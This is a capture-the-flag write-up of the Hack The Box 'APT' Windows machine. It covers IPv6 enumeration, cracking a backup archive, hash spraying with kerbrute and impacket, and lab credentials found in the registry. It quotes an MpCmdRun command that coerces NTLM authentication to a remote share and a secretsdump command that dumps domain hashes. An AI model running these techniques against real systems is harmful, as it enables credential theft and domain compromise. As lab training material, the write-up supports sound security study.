HTB - APT

HTB - APT

Overview

Short description to include any strange things to be dealt with - Windows Insane

Useful Skills and Tools

Useful thing 1

  • description with generic example

Useful thing 2

  • description with generic example

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.213. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves all types of output (.nmap,.gnmap, and .xml) with filenames of <name>.

Only two ports open, 80 - HTTP (IIS) and 135 - RPC

Port 80 - HTTP

found email sales@gigantichosting.com, phone (818) 995-1560

In source code saw IP mentioned 10.13.38.16/ also HTTrack Website Copier/3.x

Most of the pages on the site did not contain anything useful or interesting. The /support page had a contact form that I tried some XSS and SQLi

submitting the form redirected me to the IP I had seen that the site had been copied from (10.13.38.16). Burp also failed to connect

I also could not ping that IP. This was not the way.

Port 1135 - RPC

I wasn't able to connect to the machine with RPC client. I seemed to have hit a dead end

searched for how to enumerate RPC without authentication

From a windows machine you could possibly use

I copied the PoC from the site and modified the script to scan the IP of my target.

After running it, I was presented with the hostname (I assume), the IPv4 address, and two IP46 addresses

I was able to ping using the IP6 address. The TTL of 64 was a bit odd, not sure if that is normal for IPv6. It showed 127 like normal when pinging the IPv4 address.

Using this IPv6 address I was able to connect using rpcclient

After getting NT_STATUS_ACCESS_DENIED for all of my commands I was starting to think I wasn't going to get anything, but finnaly one command returned something. I got the hostname of APT.HTB

I went through a lot of the other commands, but wasn't able to get anything else out of this.

nmap - IPv6

this scan came up with a lot more open ports

This time I was able to see many more ports open. This was looking like a real Windows server now

https://www.ethicalhackx.com/how-to-pwn-on-ipv6/ [dead:beef::b885:d62a:d679:573f]

I searched for a way to enumerate Windows using ipv6 and found a newer version of a popular tool, enum4linux, that supported ipv6

Using the information from this tool, I learned how to search using smbclient with ipv6

Was able to enumerate shares using smbclient. the backup share looked interesting

Inside the backup share I found a backup.zip and extracted it to my computer

The zip file was password-protected, but not encrypted. This was a very juicy find, indeed. If I could extract these files, I could potentially get the password hashes of all of the domain users on this machine

next I used zip2john to extract the password hash

Then I loaded the hash into John. It cracked in less than a second. The password was iloveyousomuch

Using this password I was able to successfully extract all of the files

There were hundreds of users on this domain! Luckily there were a couple of plaintext passwords

I was wrong...there were almost 8000 users!!

After looking in it a bit, I noticed there were duplicates. After sorting and pulling out the unique entries there were only...2000 or so left. Much more manageable, but a lot to go through still.

Using kerbrute I was able to find 3 valid users out of 2000+

Now I needed to find a valid hash. I put all of the hashes in a file by themselves

I tried using crackmapexec but it did not come up with any results (not sure if it even did anything...)

Using GetTGT.py from impacket I was able to check one hash, but there was no way to validate all of the hashes at one time

I used some bash magic to run the same command for each line in my nt_hashes file. It started giving a bunch of errors for all of the lines that didn't have both halves of the hash (this script from Impacket expects both halves)

I pulled out one of the hashes and tried it with just one that was in the right format, but this time I got an error that said my clock was too far off the DC

If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) it because of your local time, you need to synchronise the host with the DC: ntpdate <IP of DC>

I had to install ntpdate

After playing with my system time, I realized that it never jumped forwards for daylight savings time...

I simply synced it with a known good ntp server (Note: I realised that I had to change my system clock for another HTB machine in the past (find name and link) so this was just reverting it...)

I still had the same problem... my VM reported one time, but the terminal reported another... the date command was way off for some reason

https://github.com/byt3bl33d3r/CrackMapExec/issues/339

The next day, it was magicly working. I didn't restart the system or anything (I had actually only paused the vm)

This time I was able to enumerate the users (or at least was able to connect and get the PREAUTH_FAILED error).

I used a bit of bash hackery to remove the results that showed failed attempts and let it run. (I assumed it would take a long time so I let it go and got dinner)

this is the way

I had to enable ssh on my machine, then do port forwarding.

this is not the way

but other than getting the windows version information, I could not get this to connect afterwards

If someone could tell me what I was doing wrong I would greatly appreciate it!!

getTGT way (cont)

STill got time sync error, but this time only for one hash; all others reported PREAUTH error

couldn't resolve time sync errors...

my errors were caused because the time was 10 minutes off...Thank you net time!!

And it worked!!

push on

The hash seemed to be valid! I got a listing of shares, though it wouldnt connect since they werent writeable

denied using wmiexec.py

I was starting to think that the hash was not valid, though it did enumerate shares...

I kept going down the list of impacket tools that were relevant

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-query

nothing seemed to work. I tried each of these using the -k option after exporting the key to KRB5CCNAME and still couldnt progress

So the ticket was expired.

I ran my one-liner from earlier (on just the valid hash!) and the time was refreshed

I tried dumping the registry, and this time it took much, much, longer to output (like everything else on this machine so far!). I was sure that it was working this time!! I used the -s reg option to make it recursively get all keys. I chose HKEY-USER first since it was a likely place to find potential credentials and other useful system information.

Each registry key located under the HKEY_USERS hive corresponds to a user on the system and is named with that user's security identifier, or SID. The registry keys and registry values located under each SID control settings specific to that user, like mapped drives, installed printers, environment variables, desktop background, and much more, and is loaded when the user first logs on.

Next I tried to download HKLM while I perused through HKU, but I was denied access.

Apparently this user never uses this machine, since their default search was MSN...There surprisingly was actually not that much information in this registry dump

The group policy key gave a listing of the groups that this user was a part of. I could use this to look up the well known groups by their SID.

I reached the end of the file and found some minorly useful information. I started doing some searches to see if I missed something

Finding user creds

Searching for Password yeilded something that I had scrolled right past in my first look through. There was a username and password henry.vinson_adm:G1#Ny5@2dvht

Initial Foothold

After all that, I finally had a shell! There were no useful or interesting groups or privileges (adding a machine to the domain would be very useful in other situations though! I should have tried it anyway...).

User.txt

I found the proof that I had made it inside, on the users Desktop

Path to Power (Gaining Administrator Access)

Enumeration as henry.vinson_adm

none of the exe versions of winPEAS worked on this machine, so I had to run the .bat. I was also denied running systeminfo

The .bat version seemed to be stuck on a loop, so I started poking around manually while I waited, in another shell

The output had mentioned a few interesting files. The first I checked was C:\Windows\Panther\unattend.xml. These unattend files can often hold plaintext credentials. This administrator had been smart enough to remove his credentials afterwards.

The base64 encoded command drew my attention. It looked as if this was used to disable ipv6?

The powershell history file contained something interesting. The administrator credentials had been used to run a scriptblock that set the value of a registry key

Nope. didnt work. darn lol

Some reasearch revealed that

The Network security: LAN Manager authentication level setting determines which challenge/response authentication protocol is used for network logons. This choice affects the authentication protocol level that clients use, the session security level that the computers negotiate, and the authentication level that servers accept.

A value of '2' meant that NTLM hashes would be sent

according to https://book.hacktricks.xyz/windows/ntlm I could abuse the print spooler service to get the machine to send the hash to my machine, where I could capture it with responder

The instructions on this page are not as well written as a lot of others on this page, but at least responder gave a verbose enough error message to fix the problem

The github account was a good list of different ways to leak NTLM hashes I tried each one until I got one that wasn't henry

Windows Defender MpCmdRun

"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe" -Scan -ScanType 3 -File \\Server.domain\file.txt "c:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -DownloadFile -url https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe -path \\Server.domain\

-Scan [-ScanType [0\|1\|2\|3]] [-File <path> [-DisableRemediation] [-BootSectorScan] [-CpuThrottling]] [-Timeout <days>] [-Cancel]

Scans for malicious software. Values for ScanType are: 0 Default, according to your configuration, -1 Quick scan, -2 Full scan, -3 File and directory custom scan.

remote share scanning? :)

The example on the page did not work, but I found two newer versions in the /platform folder. I hoped that one would still be vulnerable to this issue

The scan failed

However, I got a hit back on my listener! I had the NTLMv1 hash of the user APT$

Remember that the printer will use the computer account during the authentication, and computer accounts use long and random passwords that you probably won't be able to crack using common dictionaries. But the NTLMv1 authentication uses DES (more info here), so using some services specially dedicated to cracking DES you will be able to crack it (you could use https://crack.sh/ for example).

So this was the computer hash...I seem to remember reading this wasnt useful, but I tried to crack it anyway.

There’s a number of articles on the LmCompatibilityLevel setting in Windows, but this will only work if a client has this setting at 2 or lower.

Looking good so far

This is the format they wanted the hash submitted in.

I entered a throwaway email address, and submitted the hash. NTLMv1 hashes in the correct format are free.

I received an email very quickly from their server. It only took 32 seconds to find the hash in the rainbow table. Now I just needed to figure out how to use the machine account hash...

python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc LAB/DC2k8_1\$@172.16.102.15

Using the template from the blog I was able to dump the hashes from the machine. There were not nearly as many accounts as in the backup! :)

Now that I had the Administrator hash, it was time to crack it!

I was able to go through all of rockyou.txt in less than 10 seconds, but the password was not in it. I decided to just try to use the hash to log in instead

Make sure to use -H for hash, and not -p for password!

Root.txt

After changing directories to the Desktop I was able to collect my proof!

Thanks to <box_creator> for something interesting or useful about this machine.

If you like this content and would like to see more, please consider buying me a coffee!

PreviousHTB - MultimasterNextEasy

Last updated

Was this helpful?